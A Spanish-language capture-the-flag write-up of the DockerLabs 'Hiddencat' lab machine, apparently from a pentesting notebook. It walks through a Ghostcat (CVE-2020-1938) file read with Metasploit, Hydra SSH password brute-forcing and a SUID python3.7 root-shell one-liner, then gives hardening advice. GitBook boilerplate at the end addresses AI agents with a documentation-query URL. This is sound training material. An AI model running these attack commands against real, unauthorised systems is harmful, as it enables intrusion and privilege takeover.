> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/hiddencat.md).

# Hiddencat

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux aprovechando la exposicion del conector AJP de Apache Tomcat y una mala configuracion de permisos SUID.

El objetivo es obtener informacion sensible mediante Ghostcat, conseguir acceso por SSH y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -p- -T4 172.17.0.2
```

![Nmap](/files/79L1aNVqymmxC1SRt5nx)

El escaneo muestra tres puertos abiertos:

| Puerto   | Servicio | Version                   |
| -------- | -------- | ------------------------- |
| 22/tcp   | SSH      | OpenSSH 7.9p1 Debian      |
| 8009/tcp | AJP13    | Apache Jserv Protocol 1.3 |
| 8080/tcp | HTTP     | Apache Tomcat 9.0.30      |

La presencia de Tomcat `9.0.30` junto al puerto `8009` expuesto es interesante, ya que esta version puede ser vulnerable a Ghostcat, identificado como `CVE-2020-1938`.

***

## Enumeracion de Tomcat con Ghostcat

Ghostcat permite leer archivos internos de una aplicacion Tomcat a traves del conector AJP cuando este queda expuesto.

Se utiliza el modulo de Metasploit `auxiliary/admin/http/tomcat_ghostcat` para intentar leer el archivo `WEB-INF/web.xml`:

```bash
msfconsole
use auxiliary/admin/http/tomcat_ghostcat
show options
set RHOSTS 172.17.0.2
set RPORT 8009
set FILENAME /WEB-INF/web.xml
run
```

![Ghostcat web.xml](/files/mnmVmj6k1U1BvduQh3I1)

El modulo consigue leer correctamente el archivo `web.xml`. Dentro aparece una descripcion con una pista:

```
Welcome to Tomcat, Jerry ;)
```

Esto apunta a `jerry` como posible usuario del sistema.

***

## Fuerza bruta SSH

Con el usuario candidato `jerry`, se realiza fuerza bruta contra SSH usando Hydra y el diccionario `rockyou.txt`:

```bash
hydra -l jerry -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh
```

![Hydra SSH](/files/gN2zDeha2rcvMpXeL1mb)

Hydra encuentra credenciales validas:

```
Usuario: jerry
Password: chocolate
```

***

## Acceso inicial por SSH

Con las credenciales obtenidas se accede a la maquina por SSH:

```bash
ssh jerry@172.17.0.2
```

![SSH jerry](/files/EvUGTkP8V2OHqDWHYh7p)

Se obtiene una shell como el usuario `jerry`.

***

## Enumeracion local

Se comprueban los permisos sudo del usuario:

```bash
sudo -l
```

![Enumeracion local](/files/0mlOBC25hbzi2b4FOxdH)

El usuario no puede ejecutar `sudo` en la maquina:

```
Sorry, user jerry may not run sudo
```

Despues se buscan binarios con el bit SUID activo:

```bash
find / -perm -4000 -type f 2>/dev/null
```

Entre los binarios encontrados destaca:

```
/usr/bin/python3.7
```

Que `python3.7` tenga SUID es critico, ya que permite ejecutar codigo Python con privilegios efectivos del propietario del binario. En este caso, el propietario es `root`.

***

## Escalada de privilegios

En GTFOBins se comprueba que Python puede abusarse cuando tiene el bit SUID activo.

![GTFOBins Python SUID](/files/hFaJJFwbLRgoQPjT7o1a)

Se ejecuta el payload indicado, adaptandolo al binario vulnerable encontrado:

```bash
/usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

![Root](/files/o06u8tA2fb4JuZKYIdg7)

El parametro `-p` en `/bin/sh` conserva los privilegios efectivos, por lo que se obtiene una shell con `euid=0`.

Se confirma la escalada:

```bash
id
```

Resultado:

```
uid=1000(jerry) gid=1000(jerry) euid=0(root) groups=1000(jerry)
```

Aunque el UID real sigue siendo el de `jerry`, el EUID es `root`, por lo que la shell tiene privilegios efectivos de administrador.

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Puerto AJP `8009` expuesto
* Version de Tomcat vulnerable a Ghostcat
* Informacion sensible accesible en `WEB-INF/web.xml`
* Password debil para el usuario `jerry`
* Binario `python3.7` con bit SUID activo

### Puntos clave

| Fase               | Tecnica                | Resultado                    |
| ------------------ | ---------------------- | ---------------------------- |
| Reconocimiento     | Nmap                   | SSH, AJP y Tomcat expuestos  |
| Enumeracion Tomcat | Ghostcat CVE-2020-1938 | Lectura de `WEB-INF/web.xml` |
| Credenciales       | Pista `Jerry` + Hydra  | Password `chocolate`         |
| Acceso inicial     | SSH                    | Shell como `jerry`           |
| Escalada           | SUID en `python3.7`    | Shell con EUID `root`        |

### Recomendaciones

* No exponer el conector AJP a redes no confiables
* Actualizar Tomcat a una version corregida frente a `CVE-2020-1938`
* Restringir AJP con secretos y reglas de firewall
* Evitar pistas o informacion sensible en archivos de configuracion accesibles
* Usar passwords robustas y controles contra fuerza bruta en SSH
* Revisar periodicamente binarios SUID y eliminar permisos innecesarios


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/hiddencat.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
